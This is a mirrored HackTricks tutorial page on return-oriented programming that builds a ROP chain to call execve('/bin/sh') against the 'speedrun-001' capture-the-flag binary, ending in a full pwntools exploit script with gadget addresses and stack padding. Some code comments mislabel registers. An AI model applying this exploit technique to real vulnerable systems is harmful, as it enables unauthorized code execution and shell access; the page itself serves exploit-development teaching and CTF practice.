mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
164 lines
3.7 KiB
Markdown
164 lines
3.7 KiB
Markdown
# ROP - call sys\_execve
|
|
|
|
In order to prepare the call for the **syscall** it's needed the following configuration:
|
|
|
|
* `rax: 59 Specify sys_execve`
|
|
* `rdi: ptr to "/bin/sh" specify file to execute`
|
|
* `rsi: 0 specify no arguments passed`
|
|
* `rdx: 0 specify no environment variables passed`
|
|
|
|
So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` \(being aware of the padding needed to control the stack\).
|
|
|
|
## Control the registers
|
|
|
|
Let's start by finding **how to control those registers**:
|
|
|
|
```c
|
|
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
|
0x0000000000415664 : pop rax ; ret
|
|
0x0000000000400686 : pop rdi ; ret
|
|
0x00000000004101f3 : pop rsi ; ret
|
|
0x00000000004498b5 : pop rdx ; ret
|
|
```
|
|
|
|
With these addresses it's possible to **write the content in the stack and load it into the registers**.
|
|
|
|
## Write string
|
|
|
|
### Writable memory
|
|
|
|
Frist you need to find a writable place in the memory
|
|
|
|
```bash
|
|
gef> vmmap
|
|
[ Legend: Code | Heap | Stack ]
|
|
Start End Offset Perm Path
|
|
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
|
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
|
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
|
|
```
|
|
|
|
### Write String
|
|
|
|
Then you need to find a way to write arbitrary content in this address
|
|
|
|
```python
|
|
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
|
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
|
```
|
|
|
|
#### 32 bits
|
|
|
|
```python
|
|
'''
|
|
Lets write "/bin/sh" to 0x6b6000
|
|
|
|
pop rdx, 0x2f62696e2f736800
|
|
pop rax, 0x6b6000
|
|
mov qword ptr [rax], rdx
|
|
'''
|
|
|
|
rop += popRdx # place value into EAX
|
|
rop += "/bin" # 4 bytes at a time
|
|
rop += popRax # place value into edx
|
|
rop += p32(0x6b6000) # Writable memory
|
|
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
|
|
|
rop += popRdx
|
|
rop += "//sh"
|
|
rop += popRax
|
|
rop += p32(0x6b6000 + 4)
|
|
rop += writeGadget
|
|
```
|
|
|
|
#### 64 bits
|
|
|
|
```python
|
|
'''
|
|
Lets write "/bin/sh" to 0x6b6000
|
|
|
|
pop rdx, 0x2f62696e2f736800
|
|
pop rax, 0x6b6000
|
|
mov qword ptr [rax], rdx
|
|
'''
|
|
rop = ''
|
|
rop += popRdx
|
|
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
|
rop += popRax
|
|
rop += p64(0x6b6000) # Writable memory
|
|
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
|
```
|
|
|
|
## Example
|
|
|
|
```python
|
|
from pwn import *
|
|
|
|
target = process('./speedrun-001')
|
|
#gdb.attach(target, gdbscript = 'b *0x400bad')
|
|
|
|
# Establish our ROP Gadgets
|
|
popRax = p64(0x415664)
|
|
popRdi = p64(0x400686)
|
|
popRsi = p64(0x4101f3)
|
|
popRdx = p64(0x4498b5)
|
|
|
|
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
|
|
writeGadget = p64(0x48d251)
|
|
|
|
# Our syscall gadget
|
|
syscall = p64(0x40129c)
|
|
|
|
'''
|
|
Here is the assembly equivalent for these blocks
|
|
write "/bin/sh" to 0x6b6000
|
|
|
|
pop rdx, 0x2f62696e2f736800
|
|
pop rax, 0x6b6000
|
|
mov qword ptr [rax], rdx
|
|
'''
|
|
rop = ''
|
|
rop += popRdx
|
|
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
|
rop += popRax
|
|
rop += p64(0x6b6000)
|
|
rop += writeGadget
|
|
|
|
'''
|
|
Prep the four registers with their arguments, and make the syscall
|
|
|
|
pop rax, 0x3b
|
|
pop rdi, 0x6b6000
|
|
pop rsi, 0x0
|
|
pop rdx, 0x0
|
|
|
|
syscall
|
|
'''
|
|
|
|
rop += popRax
|
|
rop += p64(0x3b)
|
|
|
|
rop += popRdi
|
|
rop += p64(0x6b6000)
|
|
|
|
rop += popRsi
|
|
rop += p64(0)
|
|
rop += popRdx
|
|
rop += p64(0)
|
|
|
|
rop += syscall
|
|
|
|
|
|
# Add the padding to the saved return address
|
|
payload = "0"*0x408 + rop
|
|
|
|
# Send the payload, drop to an interactive shell to use our new shell
|
|
target.sendline(payload)
|
|
|
|
target.interactive()
|
|
```
|
|
|
|
## References
|
|
|
|
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
|
|
|